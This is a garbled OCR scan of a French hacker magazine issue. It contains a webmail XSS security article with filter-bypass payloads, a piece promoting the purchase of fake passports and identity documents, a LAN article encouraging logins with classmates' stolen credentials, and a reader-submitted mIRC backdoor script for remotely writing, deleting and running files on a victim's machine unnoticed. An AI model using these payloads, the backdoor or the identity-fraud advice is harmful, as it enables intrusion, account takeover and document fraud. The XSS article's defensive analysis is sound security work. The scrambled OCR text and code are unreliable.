secondaire, autre que I'entrée du mot de passe.
En effet, a chaque page visitée, le naviga-
teur doit se connecter au site, s'authenti-
fier, récupérer la page, puis se déconnecter.
Comment éviter que l'utilisateur doive entrer
son mot de passe & chaque changement de
page ? La solution est de demander une
premiere fois ce mot de passe, ce qui vali-
de l'identité de 1'utilisateur, et ensuite
d'utiliser pour une période de temps limi-
tée une deuxieme méthode d'authentifica-
tion:

* par vérification de 1'adresse IP de
l'utilisateur.

Cela est peu utilisé, car posant un probleé-
me de sécurité pour les personnes utilisant
une adresse [P dynamique, ou
passant par un proxy commun
aplusieurspersonnes. Deplus,
certaines personnes passent
par des proxies différents
au cours d'uneméme session,
etnepourraient donc pasaccé-
der au service.

* par authentification http
standard.
Cela est trés peu utilisé, car
peu adapté a un systéme
possédant des millions d'uti-
lisateurs, etle navigateur peut
garder en cache le mot de
passe, ce qui est génant pour
une machine multi-utilisa-
teurs. De plus lemot de passe
pourrait sans doute apparaitre
dans I'historique des pages

1. Description glebale de la probiématigue

Lors de la consultation d'un service de
courrier électronique surun site parle "web",
les pages affichées par le navigateur de
l'utilisateur contiennent des données venant
de sources extéricures, comme le texte des

visitées. Enfin, le dispositif
ne serait alors pas intégré dans la page
web et serait géré par le serveur web, ce
qui le rend moins convivial pour l'utilisa-
teur et peu pratique a gérer pour le four-
nisseur du service.

* par partage d'un secret commun au navi-
gateur et au site visité.

1l s’agit généralement une chaine aléatoire
de caracteres, différente a chaque session.
Cette chaine peut étre contenue dans
I'adresse URL des pages visitées
(http://mail.site.com/ChaineAléatoire/Lire-
MonCourrier), oudans un "cookie" (chaines
de caractéres qui sont transmises automa-
tiquement au site par le navigateur a chaque
demande d'une page). Cette derniére métho-
de est la plus utilisée.

Siun pirate connait cette chaine de caractéres
aléatoires, il peut donc utiliser la méthode
d'authentification secondaire pendant sa durée
de validité (jusqu'a déconnexion de l'utili-
sateur), et accéder au courrier électronique
de la victime sans connaitre son mot de passe !
Pour cela, le pirate peut envoyer a sa victi-
me un courrier contenant un code hostile,
dont le but est de lire le cookie contenant
la chaine d'authentification et le trans-
mettre au pirate...

Tout le probléme de la sécurité des web-
mails est donc, pour les sites proposant ce
service, de filtrer les données contenues dans
les courriers électroniques pour en extrai-
re le code potentiellement hostile ou le trans-
former de manicre a modifier le moins possible
le contenu, tout en le rendant inoffensif. [l est
difficile de mettre en place un bon filtra-
ge, car chaque nouvelle version des navi-
gateurs web intégre de nouvelles
fonctionnalités qui peuvent étre utilisées a
mauvais escient. De plus, les navigateurs
réagissent tous différemment 4 une méme
page web : certains essaient de corriger auto-
matiquement des erreurs classiques dans
lecode HTML, certains tags sont spécifiques
a un type de navigateur, etc. Bref, c'est
mission quasi-impossible : de nouvelles failles
sont régulierement découvertes, en parti-
culier sur le site hotmail.com qui sert de
terrain d'expérimentation aux hackers, et qui
a dii parfois fermer pour corriger en urgen-
ce des failles diffusées publiquement sur Inter-
net. Néanmoins, il est du devoir des sociétés
proposant un service webmail de se tenir
au courant des failles ayant été trouvées
sur les autres serveurs et de les corriger
sur leur site, afin de garantir un minimum
de confidentialité des courriers.

Des problémes structuraux sont également
a prendre en compte dans la conception
d'unsystéme webmail : le traitement des pieces
jointes, la bonne différenciation entre zone
de lecture du courrier et zone de gestion
du courrier (bouton "répondre”, ...), etc.

Ii. Problémes liés au contenu des données
insérées dans Ia page (texte du mail), et a
son interprétation par le navigateur de
l'utilisateur

a) Dans un champ censé étre en texte
seul, dont le contenu provient du mail ou
de I'utilisateur, aucun code html ne doit
pouvoir se glisser. Pour cela, les caractéres
spéciaux doivent étre transformés en leurs
équivalents, les "codes d'entité" (exemple:
'&#60;" ou '&It;" au lieu de '<"), avant
d'étre insérés dans le code source de la
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page. La page doit spécifier clairement le
type d'encodage des caracteres avec le tag
<META http-equiv="Content-Type"
content=""text/html'" charset="ISO-8859-1"">.
Faute de quoi, si lenavigateur choisit un autre
type d'encodage que celui assumé par le
dispositif de filtrage, il pourra subsister
des caractéres spéciaux (parexempleen UTF-
7 '<'peut étre encod¢ de différentes maniéres).
Les caractéres spéciaux sont ici: <> &
Attention, placer des données (courrier) dans
une zone de texte ne dispense pas de cette
étape. En effet, dans les données d'une
zone de texte, le navigateur tient tout de méme
compte des tags <!-- et </textarea>. Ce
dernier tag ferme prématurément la zone
de texte, et tout code html situé a sa suite
est interprété par le navigateur.

b) Dans une valeur d'attribut, un script,
une adresse url : certains services webmails
insérentau sein de ce type de champ des don-
nées extérieures (comme le sujet du mail, l'ex-
péditeur...). Les caractéres spéciaux a prendre
en compte sont alors plus nombreux : <>
&"'"%, () {} _espace,tab, nouvelle
ligne, caractéres non-ASCII (>128), carac-
tére nul, etc.

Voir [1][2] [8] pour une discussion plus appro-
fondie de ce probléme important nommé
“cross-site scripting”.

¢) L'affichage des mails au format HTML
s'effectue par insertion du contenu du mail
dans une zone dédiée de la page web, aprés
un filtrage des €léments non autorisés et poten-
tiellement hostiles. Ainsi, tous les tags pet-
mettant l'exécution de javascript, VBScript,
appletjava, contenu ActiveX, etc. doiventétre
modifiés par un filtre pour les rendre inopé-
rants. Certains tags html posent également
probléme. Voici une synthése des vulnéra-
bilités les plus connues a ce jour.

* <APP>, <APPLET>, <EMBED>,
<OBJECT>, <BGSOUND>, <SOUND>,
<FRAME>,<FRAMESET>,<IFRAME>
Linclusion dans la page web d’objets
divers (Applets java, ActiveX, Flash, pages
web extérieures, etc.) peut introduire toutes
sortes de vulnérabilités que jen’ai pas laplace
de discuter ici. Ces tags sont 4 proscrire.

* <DIV>, <LAYER>, <ILAYER>
Cestags peuvent permettre parexemple d’in-
tercepter un clic de I'utilisateur sur un bou-
ton decontrdle de sa boite mail, et delerediriger
vers un faux site imitant le vrai. [11]

1Is permettent aussi d’insérer du contenu
externe indésirable.

* <SCRIPT>

L'exécution de JavaScript ou de VBScript dans
la page visitée est de loin le danger le plus
important. Un tel script peut accéder a tous
les éléments dela page ainsi qu'au cookie d'au-
thentification, les modifier, les transmettre
a une troisiéme partie (Ia machine d'un
pirate)... De ce fait, il peut également mani-
puler la boite mail de I'utilisateur 4 sa
guise. La propagation d’un ver parmi les
usagers du webmail est possible [7].

Ce tag doit étre filtré, mais cela ne suffit
pas. En effet, les scripts peuvent étre inclus
dans d'autres tags.

* Jes attributs OnXXXX

Ces attributs sont les gestionnaires d’évé-
nement de javascript. Ils déclenchent I’exé-
cution de javascript (sans que le mot-clef
script ou javascript n’apparaisse) sous cer-
taines conditions.

Ainsi:

<h onMouseOver="aler1( o he');">lexte</b>

exécute le javascript quand on passe la
souris sur le texte en gras.

Ce code exécute du javascript automati-
quement :

<imy src="invalide" onError=",..">

* Pattribut HREF

-- "Cross-site scripting" : Si le site web-
mail (ouunautre) comporte un bug permettant
d'exécuter dujavascript sur UNE page QUEL-
CONQUE al'aide des arguments d'une com-
mande GET, le clic sur un lien donné dans
I'e-mail va pouvoir exécuter du javascript
et va récupérer les cookies du domaine de
ce site ! (ou installer un virus, etc.)
->solution : nepas cliquer sur desliens, méme
appartenant au méme serveur...

Beaucoup de sites sont vulnérables a cette
attaque, car il ne leur semble pas nécessai-
re de protéger l'utilisateur contre des données
qu'il a fournies lui-méme,

-- <A HREF="javascript:...">lien</A>

Permet 1'exécution de javascript.

* <FORM>

--"Cross-site scripting" : Idem que ci-dessus
mais aveclacommande POST, si on peut insé-
rer une FORM dans le mail.

-- Soumettre une FORM peut exécuter des
commandes ou méme lancer une attaque
sur un serveur sur un port quelconque, par
exemple a 'aide d'un buffer overflow [3].
Cetteactionalieuavec l'adresse IP et les droits
d'acces de la machine de J'utilisateur du
service webmail. Si du javascript peut étre
exécuté, celui-ci peut soumettre la FORM
automatiquement.

* <IMG> et attribut SRC

-- <IMG SRC="http://..."> ou <IMG
SRC="ftp://.."">

Peut servir de relais pour passer des para-
meétres 3 un script CGI situé sur un autre
site, avec I'adresse IP de la victime et ses droits
d'acces (poster des messages sur un forum,
activer un DDOS, pirater un serveur, etc.)
-- <IMG SRC="javascript:...">

-- <IMG DYNSRC="javascript:...">

-- <IMG LOWSRC="javascript:...">
Exécute du code javascript quand I'image est
chargée.

-- Lattribut SRC doit également étre surveillé
dans les autres tags, et conduit aux mémes
vulnérabilités.

* attributs ACTION et TARGET
Dans certains tags, ils peuventjouer le méme
réle que HREF ou SRC.

*<STYLE>,<LINK>,etattributs STYLE
et TYPE.

-- Il est possible d’insérer du code javas-
criptauseind’untag <STYLE>, enutilisant
certaines valeurs de 1"attribut TYPE.
<STYLETYPE="text/javascript">alert-
(‘hoho’);</STYLE>
Letype“application/x-javascript” est éga-
lement valide [9].

-- Cet attribut doit également étre surveillé
dans d’autres tags, comme le tag <LINK>
[10]:

<LINK REL=STYLESHEET TYPE=-
"text/javascript™ SRC="http://.../the-
_script.js'™>

--Lesattributs STYLE ausein des autres tags
doivent &tre également surveillés. Atten-
tional’usage suivant qui ne fait pas intervenir
le mot-clef "javascript" | Plusieurs variantes
étant possibles, 1"attribut STYLE ne devrait
tout simplement pas étre autorisé.

<P STYLE="tefCexpression{eval("alert(\ioho\')'))">

* <!_‘_

Ce tag "commentaire" cache le code qui le
suit dans la page, qui n'est pas interprété
par le navigateur. Par exemple, en plagant
ce tag a la fin d'un mail, on peut cacher
les boutons "répondre”, "faire suivre”, etc.
situés en dessous, et mettre a leur place (juste
avant ce tag) des "faux" boutons, qui sem-
blent identiques aux vrais, mais dont l'ac-
tion sera différente.

* Ces tags n’ont rien a faire dans un mes-
sage et ils sont dangereux car ils peuvent
modifier des caractéristiques de base du docu-
ment: <BASE>(miodifie le début des adresses
URL de la page), <META> (en particu-"
lier ‘Refresh’), <BODY>, <HTML>,
ainsi que </BODY> et <HTML>.

d) [pour mémoire] Auniveau du filtre, il faut
vérifier également que du code php, jsp,
ou SSI n'a pas été inséré dans la page web,
etlefiltrer. Les délimiteurs de ce type de code
sont<? 7>, <% %>, et <!--#-->. Faute de quoi,
le serveur pourrait interpréter ces scripts,
ce qui ouvre la voie 4 un pirate pour s'in-
troduire dans le serveur ou simplement
s'en servir comme relais, comme fournisseur
de service de mail anonyme, etc. Mais ce sont
12 d'autres problémes, qui concernent le
cdté serveur et non plus client.

00l. Quelques astuces de hackers pour se
Jjouer des dispositifs de filtrage

Cette partie serait susceptible d'étre large-
ment agrandie si une recherche plus pous-
sée était menée. Les exemples donnés ici
ont été tous publiquement diffusés sur
Internet il y a plusieurs mois.

(1]

« Tromper le flitre

Chaque navigateur a sa propre maniére d'ana-
lyser et d'interpréter le code qui lui est
fourni. Un code qui parait invalide pour-
rait se révéler valide pour une catégorie
particuliére de navigateurs.

De plus, des fonctionnalités nouvelles
apparaissent dans les versions successives
des navigateurs web, comme de nouveaux
tags, une interprétation différente ou plus
large d'anciens tags, de nouvelles maniéres
d'insérer du javascript, etc. Les filtres ne
suivent pas toujours ces évolutions.

Exemples :

* [6] Un tag commengant par un caractére
invalide (_)n’est pas pris en compte par Inter-
net Explorer, qui considere donc letag <IFRA-
ME> qui suit comme valide. Pourtantcertains
filtres considerent le IFRAME comme
une valeur d’attribut (inoffensive) du tag
‘_img’, et ne le filtrent donc pas.

<_Img foo="<IFRAME width="80%" heighil="400'
sro="Tttp://alive.meg.cony'~ marcs/nasspory/geabit himi'
></IFRAME>" >

* Importation de javascript dans une feuille
de style (Internet Explorer)

<8TYLE TVPE="text/css">
@import uel(ltg:/.../seript s);
</$TYLE>

<8TYLE TYPE="text/css">
@Import url(avascript...);
<[STYLE>

* Mots-clés ‘mocha’ et ‘liveseript’

Ces mots-clefs étaient spécifiques de Nets-
cape (ils semblentne plus fonctionner sur les
versions 6 de Netscape).

Ils sont synonymes de ‘javascript’et donnent
lieu aux mémes effets quand ils sont inclus
dans les tags SRC. IlIs doivent donc étre
filtrés de la méme maniére.

* le & commercial
Spécifique a Netscape, permet I'exécution
de javascript dans les attributs.

<IME SRC="8{aler(‘nohe’)};">

*Les filtres doivent étre insensibles a la casse
des caractéres.

* Les caractéres blancs sont ignorés par
les navigateurs lors de1’interprétation de code
javascript. Les filtres doivent en tenir
compte quand ils cherchent des mots-
clefs.

Ainsi :

<IM& SRC="fav
aser
ip=...">

est un code valide.
Les caractéres blancs sont : espace, tabu-
lation, retour chariot, nouvelle ligne, etc.

* Les entités HTML doivent étre rempla-
cées par leur équivalent en texte clair avant
que le filtre ne tente d’interpréter le mot-
clé. Ainsi, remplacer n’importe quel carac-
tére par son équivalent en entité HMTL
est valide dans un attribut (SRC, HREF...)
[12]. De plus, insérer des entités comme
09,10,11, 12 et 13 est également valide (carac:
teres blancs). Il est souvent valide d”écrire les
entités en format hexadécimal (&#X0A;
au lieu de &#10;), de rajouter des zéros
(&#00010;), d’omettre le point-virgule...
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<IM6 SRC="[av&4X41sc&40010;ript....">
est valide... !!

* les URL encodées doivent étre déco-
dées avant d’étre analysées par le filtre.
N’importe quel caractére peut étre rem-
placé par son équivalent en hexadécimal,
comme “A” qui estremplacé de maniére vali-
de par “%41” dans une URL (http://...)

* Signe “>” de fin de tag inclus dans un
attribut :

Les navigateurs ne prennent pas en comp-

teunsigne“>"placéal’intérieur de la valeur

d’unattribut. Cependant, certains filtres consi-

derent qu’il s’agit d’un signe de fin de tag

et leur comportement en est faussé. [12]

<INiG boio="aliriutbicon>" $AC="avascrip.. "> Ben</a>

Sur Yahoo! Mail, I’insertion de ‘tar-
get="_blank”’ dansun lien hrefpouvait étre
contournée avec cette technique (voir
Manuel 4).

« Utlliser l'action du fiitre

Le code fourni peut étre spécialement for-
maté de maniere a utiliser le fonctionne-
ment dudispositifde filtrage afin de créerun
code hostile. Ainsi, un code invalide ou
malformé peut &tre mal interprété par le filtre,
qui va le transformer, créant ainsi involon-
tairement un code valide malveillant,

Exemple : Filtre supprimant des données
au lieu de les modifier :

<ser<senint
Language=jav<script>ascri<seript>pil.1>

devient aprés suppression des tags <script> :

<script Language=javascriptl.1>

= Annuler l'action du fiitre

Le filtre peut modifier ou rajouter des élé-
ments afin de protéger. Son action peut-
elle étre contrée en rajoutant des éléments qui
auraient étéinattendus dans un contexte “clas-
sigue” ?

Exemples :

* o>

Ferme un commentaire précédemment intro-
duit par le filtre. Si le filtre ignore ce qu'il
a placé entre commentaires, il y a possibi-
lit¢ d'insérer du code hostile. [5]

* Sur un site, un filtre mal congu ne pre-
nait pas en compte le tag IMG si on écri-
vait <<IMG au lieu de <IMG.

IV. Problemes structuraux

- Manipulation automatique de la
boite mail de l'utilisateur

Siles url permettant de réaliser les opérations
contrdlant la boite mail sont prévisibles, alors
ces urls peuvent étre insérées dans le mail
viaunlien HREF, unattribut SRC par exemple
dans<IMG SRC=“http://...””>, une FORM...
Ceci peut permettre d'envoyer des mails,
de les détruire, de modifier les préférences,
etc. sans utiliser de javascript ! Pour y
remédier, ilne faut accepterl'action que si une
chaine de caractéres aléatoires suffisamment
longue est fournie. Ou bien transformer la
source dumessage pour faire passer les requétes
par l'intermédiaire d'un script CGI situé
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sur le serveur de mail (le cookie de session
ne doit pas étre relayé par le script). Il est
également recommandé de discriminer les
paramétres passés en POST via une FORM
de ceux passé avec la méthode GET, afin
d'empécher la manipulation automatique
de la boite lors du chargement des images.

- Approche globale de la mena-
ce : flitrer toutes les donndes, sur
toutes les pages

* Tous les champs sont-ils filtrés ? Corps,
From, To, Subject, CC, nomdes piéces jointes,
headers du mail, etc.

“* Lors de l'action de répondre 4 un mail,

le texte du mail auquel il est fait réponse
est parfois inséré dans la page. Le filtrage
a-t-il toujours lieu ? De nouvelles vulnéra-
bilités peuvent-elles se déclencher ?

*Toutes les pages web contenues dans le sous-
domaine de validité du cookie de session sont-
elles sécurisées ? Il suffit d'une seule page
permettant le cross-site scripting pour que
le cookie de session soit transmis 3 une
troisiéme partie, si l'utilisateur clique sur
un lien malveillant. Penser aux pages de
gestion des erreurs 404, aux feedback forms...

* Le contenu des cookies est-il vérifié ?
Uneattaque peut étre rendue permanente par
I'insertion de javascript dans la chaine
d'un cookie insérée dans la page web.

- Traltement des pléces jointes

Attention au code potentiellement hostile qui
yestcontenu. Tl doit soit étre filtré (mais cela
altére lapiécejointe), soit avertir I'utilisateur
que la piece est potentiellement dangereu-
se (en fonction de ce qui y est détecté). Si
les piéces jointes sont situées sur un ser-
veur appartenant au méme nom de domai-
ne que le cookie d'authentification, elles
ne doivent pas pouvoir étre ouvertes direc-
tement dans le navigateur sans qu'il y ait
filtrage, quel que soitleur type (image...). Un
lien contenu dans un mail ne doit pas pouvoir
pointer sur une pi¢ce jointe.

= Eviter la confusion visuelle entre
éléments externes ot internes
au serveur de mall

* La différenciation entre la page web
"légitime" et le contenu d'un mail en HTML
doit étre claire. Le mail ne doit pas pou-
voir induire 1'utilisateur en erreur, de telle
sorte que ce dernier ira cliquer sur un lien
contenu dans le mail en croyant cliquer
sur un lien légitime (bouton "Répondre”
par exemple ou faux lien "Se reconnecter
aprés une erreur interne”...). En particu-
lier, il convient de préter attention aux
boutons "Répondre 4", etc. situés en des-
sous de |'affichage d'un message en HTML.

* Les pages ouvertes a partir des liens
contenus dans le mail doivent apparaitre dans
une nouvelle fenétre (_blank) pour éviter
d'induire en erreur l'utilisateur, par exemple
en lui faisant croire qu'il est resté sur le
serveur de miail & la suite-d'une erreur
interne, eten lui demandant son mot de passe.

= Utiliser des méthodes d'authen-
tification sures.

* Le mot de passe doit étre transmis cryp-
té sur le réseau, avec un protocole sir
(SSL par exemple).
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* La validité d'une chaine d'authentifica-
tion ne doit jamais étre permanente. 11 faut
un timeout suffisamment court au niveau
du serveur.

* Attention aux cookies trop faiblement
encryptés... Le mot de passe ne doit pas
pouvoir étre retrouvé a partir du cookie.

* Silachaine d'authentification est contenue
dans l'url : possibilité de la récupérer sur
unsite extérieur via la variable dunavigateur
HTTP_REFERER (clic sur un lien conte-
nu dans le mail, peut-étre tag <IMG
SRC="..."">(c’esta vérifier), IFRAME...).
Présence de cette chaine dans I'historique
dunavigateur, dans leslogs des serveurs web,
efc.

* Lachaine d'authentification ne doit pas étre
prévisible. Elle doit étre le plus aléatoire pos-
sible, et basée sur une fonction de hachage
de I'adresse IP et/ou des headers HTTP
pour empécher le hijacking de la session
par une tierce partie.

* Redemander le mot de passe a l'utilisa-

teur pour :

- I'accés aux informations sensibles, comme
les éléments confidentiels concernant'iden-
tité- de I'utilisateur.

- lamodification de paramétres susceptibles
de compromettre la sécurité du compte

007

PASSEPORT DE CAMOUFLAGE

Bien slr ces méthodes sont illé-
gales, tout du moins en France.
Leurs techniques sont plutét
simples. Pour un passeport de
camouflage, ils sont émis sous votre
véritable identité mais pardes pays
qui n'existent plus ou qui ont chan-
gé de nom.

S'ilvous manque un dipléme (Bac,
Doctorat. . .), vous pouvez aussivous
enprocurerun!lls sontsignésd'une
"University of America".

Vous l'avez remarqué, vous pou-
vez vous procurer tout et n'im-
porte quoi. Ne croyez pas que
cela est gratuit, ga commence
parquelques $allanta des milliers.

de I'utilisateur sur le long terme, comme les
adresses de transfert des messages et I'adres-
se Reply-To.

* Un acces direct a la bofte sans nécessité
de connaitre un élément d'authentification
ne doit pas étre possible (en connaissant
une certaine URL par exemple, en testant
toutes les possibilites...).

* L'authentification primaire basée uni-
quement sur la connaissance d'un mot de passe
est foncierement mauvaise. II convient de
la rendre la plus sécurisée possible, en
vérifiant que les mots de passe choisis
satisfont certains critéres de taille et "d'aléa-
toirité", et en cryptant le transfert du mot
de passe.

* Déni de service possible si I'acces 4 une
boite est désactivé aprés un certain nombre
d'essais infructueux.

CHANGEZ D'IDENTITE REELLE
EN DEUX CLICS DE SOURIS

N'importe qui pourrait changer de carte d'identité, de carte de
sécurité sociale portant le numéro et le nom de votre choix.

Bien sliraprés commande passée,
vous n'avez pas le "contrat de
confiance", c'est a vos risques et
périls. De plus un passeport diplo-
matique Kuala lumpurien, fera beau-
coup rire le douanier frangais d'Orly.

Pourtrouver ces sites qui se situent
généralement en Amérique, il
vous suffit d'aller sur un moteur
de recherche américain
google.com et de taper ce mot
clé:

Fake id

Vous allez voir apparaitre une
liste impressionnante d'adresses.

DsSaTuEaR
Webmaster de NewsHackers.com



WINPOPUP TRAVAUX PRATIQUES
POUR EN FINIR AVEC LA SIESTE PRES
DU RADIATEUR EN COURS D'INFO

J'étais en train de chercher un moyen pour pouvoir mettre en
relation tous les ordinateurs du LAN de mon bahut. J'ai essayé
par le routeur, ce fut long et laborieux. De plus, le firewall
interdisait tout accés strict a une portion du réseau (cours, docu-
ments personnels...). Dans un LAN, tous les ordinateurs peu-
vent communiquer entre eux. J'avais essayé par FTP et Telnet,
mais cela posait des problémes de connexion a cause du pare-
feu.

Il n'y a pas de milliers de protocoles exploitables sous Win-
dows. Je cherchais un moyen de pouvoir discuter avec mes amis
présents dans Ja salle et dans les autres cours (dans ce cas-ci, e LAN
couvre tout le bahut). J'étais en train de fouiner avec la fonction
Rechercher. Ensuite j'arrive dans les w. Et 14, 1'ordinateur me
sort un certain "WinPopUp". Bon, ne connaissant pas encore ce
soft, je 'exécute. Surprise : ga m'a tout I'air d'un outil de discus-
sion en Intranet !

Aprés vérification, je me rend compte que tous les postes dis-
posent de WPU, y compris les professeurs, I'admin réseau, le
proviseur, secrétariat... Il faut connaitre le nom d'héte, dans le
cas présent le nom d'utilisateur suffit, par exemple si I'éléve se
nomme Bernard Antonin, il va falloir inscrire B.ANTONIN
pour lui faire parvenir votre message. Les professeurs utilisent
le méme type d'identifiant de connexion, a savoir la premiére
lettre de leurs prénoms et leurs noms de familles.

Vous devez relever tous les noms d'hdtes avec qui vous souhai-
tez discuter.

11 faut savoir qu'il y a deux alternatives avec WPU. On peut dis-
cuter en prive et sur une sorte de "main chat". La deuxiéme
solution va permettre de diffuser des messages 4 tous les ordi-
nateurs connectés sous WPU dans le LAN. De ce fait tout le
monde va pouvoir lire le message. Cependant, attention avec
cette option, aprés avoir vu le chemin suivi par un paquet diffu-
sé sur le canal public, celui-ci va étre transmis sur TOUS les

Yo ! Bah c t just’ pour dire ke dans
le coin lrc de vot’ mag [Qui est
coot ;) kil y a 2/3 erreurs..

ordinateurs du réseau, et 'admin peut voir qui a envoyé les mes-
sages, nom de I'éléve, classe, salle...:(((. Ce serait béte de se
faire fermer son compte.

Maintenant que Winpopup est dans votre barre des tiches, il va
falloir l'exploiter. Pour cela, cliquez sur I'icone représentant une
enveloppe. Bien, une fois cette manceuvre effectuce utilisez
l'option "Groupe de travail", le nom du LAN devrait s'inscrire
par défaut. Si ce n'est pas le cas, veuillez accéder aux disques
durs du serveur de votre bahut pour voir le nom du LAN (par exemple,
chez nous, il y a deux LAN, un serveur s'occupe de chacun
d'eux).

Maintenantque vous avez entré le nom du LAN vous pouvez envoyer
votre message en cliquantsur OK. Toutes les personnes étant connec-
tées sous WPU vont pouvoir le lire et vous répondre...

Mais il y a un probléme de taille. Lorsque vous envoyez un
message, dans I'en-téte de celui-ci apparait votre nom. Par exemple,
si je regois un message de Bernard Antonin, je vais pouvoir
m'apercevoir que le message que je viens de recevoir provient
de B.ANTONIN. Donc il n'y a aucun anonymat.

Effacez tous les messages une fois lus (en utilisant la corbeille
se trouvant sous WinPopUp), ainsi il n'y aura aucune trace de
votre participation et de celle des autres.

Mais, me direz-vous, n'y a-t-il pas moyen de ne pas faire appa-
raitre notre nom dans le corps du message ?

Comme un spoofing dans les régles de I'art serait long 4 mettre
enplace, bien qu’il existe des outils dédiés a cela, lemeilleur moyen
(et le plus facile) reste I'usurpation d'identité. Attention, je ne
parle pas de spoofing au sens large du terme, je parle du fait
qu'on va usurper un hdte, sans rien modifier a la configuration
de notre machine, sans émission de paquets falsifiés.

Pour cela, il est possible de faire une déconnexion de votre hote
et de rentrer le login et le pass d'un autre éléve ! (connus par un
peu de SE par exemple) Une faille de sécurité trés courante per-
metde laisser connectés deux méme hotes surunméme LAN (enten-

Rectif

une vrai passoire [Y'a méme du monde!] Imotd
Ex : Pour trouver une IP : goto end
}
Iwho psedto % [%I étant Ia key de decryptage] else {
18+ 81-

") étais en train de
chercher un moyen
pour pouvoir
mettre en relation
tous les ordinateurs
ou LAN de mon
hahut.”

dezparla, deux foislaméme identification, et par la suite étre indé-
pendant de I'autre hote).

Cela peut avoir des conséquences ficheuses. Imaginez un ins-
tantune personne mal intentionnée qui décide de crasher les fichiers
de I'éléve (bon, bien siir sauf erreurs de l'admin du LAN, il ne
pourra pas effacer lesrépertoires entiers se situant surles différents
disques durs du LAN)

Cette personne ne risquera absolument rien, puisque dans les
logs vont apparaitre le nom des hotes usurpés. Ainsi il va étre
possible d'abuser d'Internet... De plus cela peut garantir I'anony-
mat total sur WPU.

Un jour, je décide de ne pas aller en cours pour pouvoir tester &
fond ce LAN, aprés avoir installé pipop* sur mon ordinateur, je
me connecte tant bien que mal au réseau LAN de mon bahut.
Aprés m'étre au préalable fait un alias sur pipop*, je me connec-
te sur le LAN et je commence a discuter...

Puis quelques temps aprés, je vois la mise en marche de quelques
winpopup dans la salle. Le plus drdle c'est que le nom des
¢éleves apparaissent dans tous les paquets, j'étais comme "I'Ano-
nymous Guest" du LAN. Je me suis bien amusé mais ce n'était
pas le but recherché. Bien je me dis que pipop* est tant bien
que mal un outil de spoofing de fortune. En effet, mon nom
n'apparait nullement.

11 y a des options de chat style IRC... C'est vraiment 1'Anarchie,
des chans s'ouvrent de tous les cotés, certains jouent de I'ASCIL...
J'étais méme a deux doigts de me mettre un bot... héhé

A quand le statut d'admin sur le réseau ?
(a camarade, c'est prévu pour la nouvelle année.
D'ici profitez, apprenez.

Voila, merci et amusez vous bien !
Avant de repasser & des choses plus sérieuses dans le prochain
numéro... ;-)

Jetcp pseudo ip (Cela veus donnera son IP)
[etcp pseuda n (Pouf vérifier s'il est infecié)

Et comme vous avez un backdoor, vous
pouvez taper des actions de ce genre :

Genre : Dans le n°7 bimestriel de Novembre
2001: Pour flooder un chan(nel), la com-
mande:

on 1:join:*:{
golo begin
‘begin

s Schan Saln tm !
Imsg $chan cava ?
!}mﬁmﬁl

D'abord on peut virer le premier goto begin
car mlrc estcon. Ensuite kand on fé uneaction
comme ¢a sans timer (qui permet de mettre
des act' ds le temps) bah t'as I'impression
ke tu flood mé en fait tu fé que te connec-
ter/déconnecter. Faudrait rajouter devant goto
begin un truk genre : /timer 1 1 goto begin
Bon aussi Jsé plus dans kel numéro, vous
aviez marké comment avoir un IP sur le
chat. /dns pseudo ¢ trés protégé et ¢a
marche rarement. Jvé parler du server chat
de Wanadoo/Voila [Fr. Telecom] qui est

Ensuite y'a des bugs au nivo de : On peut
étre Ircop c.a.d. Possesseur du server avec
tous les pouvoirs juste du fait que lorskon
se register au bot spécial, il ne regarde ke
les 12 premiéres caracteres. Ensuite idem
pr IriX [L'équivalent de X], Qui ne prend
en compte que les 6 premiers caracteéres..
Et ¢ pas tout Mé bon on va pas s'éterniser
Ia dessus. Ensuite : Bon un BON BACK-
DOORMIRC[Avec vot' technik, le mecs'en
appercoit de ses actions et des ctcp que
vous lui send]:

olep 1:%{
[set Ycom /ctcp $me

haftder

if(§1-==in} {

[ctep $nick ech [X FicTion][ Je Suls Infecté]
[clear -8

[motd

goto end

}

i1(81- ==1p) {

[ctcp Snick ech [X FicTion][iP1[ $+ Sip $+ 1
[clear -8

fotep Snick ech [Action: / $+ $1- $+] effectude.
[clear -8

[motd

goto end

}

end

Junset Yecom
halt

}

Cela était le code sur la machine distante.
Manant sur la votre, vous créez un fichier
avec n'importe kel extension [Genre .mrc,
.ini, .aaa, ..]. On vadire lecteur.txt. Vous I'ou-
vrez avec NotePad [Block Note..] et vous
markez ce code:

clcp 1:ech:/echo -a $2-

Puis vous mettez ce fichier la ou se trouve
vot'script mirc (genre Mirc32.exe) Puis vous
le lancez et vous tapez : /load -rs lecteur.txt
Et ¢ bon. Manant vous disposez de 3 com-
mandes essentiels:

[l

fetcppsedtio JOIN:ichan{Pour lul faire rejoindre un chan-
el

]
[ctcp pseudo MSG #chan {Pour lui faire dire un truk
sur #chan] )
{otcp pseudoremove ¢\windows\system\truc. g [Mou..]
Ictep pseudo write c:\windows\bureau\Digt.txt
Mouahialiaahahahah nické mon prand :0) [cacréé le fichier
Diea.odt ds le bureau et tu mé ton fext aprés]
Ictcp psendo splay c:\windows\media\The Microsoft
Sound.wav [Un peu deziC 7]

Etc. Et les capacités sont grandes. Vous
pouvez créer un virus adistance et lui exécuter
toujoursa distance ! Sans étre repérer bien siir.
La fonction /clear -s vide la boite de status
ou s'affiche certains infos et /motd 1a rem-
plit. Pour que la victime ne se rende comp-
te de rien et le haltdef tout en haut pour
qu'ellene voitpas vos cteps.. Bahmanant pour
vous créer un virus a distance ¢ simple
vous utilisez : /ctep pseudo write c:\. Et”
pour le lancer /ctep pseudo run c:\..

Ths, Xi0
HACKERZ VOICE/ JANVIER 2002



Le probleme te plus important dans les livres d'or et forums e
insérer du script et que cette faille n'est pas rare sur la toile...

ST
SECURISATION DE CODE PHP

Un Livre d'or Securisé

trois points. Et que ¢a saute !

1) Etude du fonctionnement
et du code d’un livre d’or
simple :

a) Functinnnemem H

Un livre d’or en PHP est d’un fonctionne-
ment tres simple. 11 se compose d’un for-
mulaire qui se trouve surla page d’accueil du
livre d’or et qui servira  entrer ses com-
mentaires, pseudo, etc.

Lelivred’or doit se composer également d’une
autre page PHP qui va recevoir les variables
etlesstocker dans un fichiertexte. Les variables
correspondent par exemple 4 :

- variable] pour le nom

- variable2 pour le message et ainsi de suite.
Une fois que ces variables sont enregis-
trées, la page d’accueil du livre d’orn’a
plus qu’a les lire et a les afficher.

Le fonctionnement d’un livre d’or est
aussi simple que cela !

Bien siir, 1a majorité des livres d’or ne
sont pas aussi simples. Beaucoup de choses
s'y ajoutent comme par exemple afficher
le nombre de visiteurs sur le livre d’or,
prévenir pare-mail le webmaster quand quel-
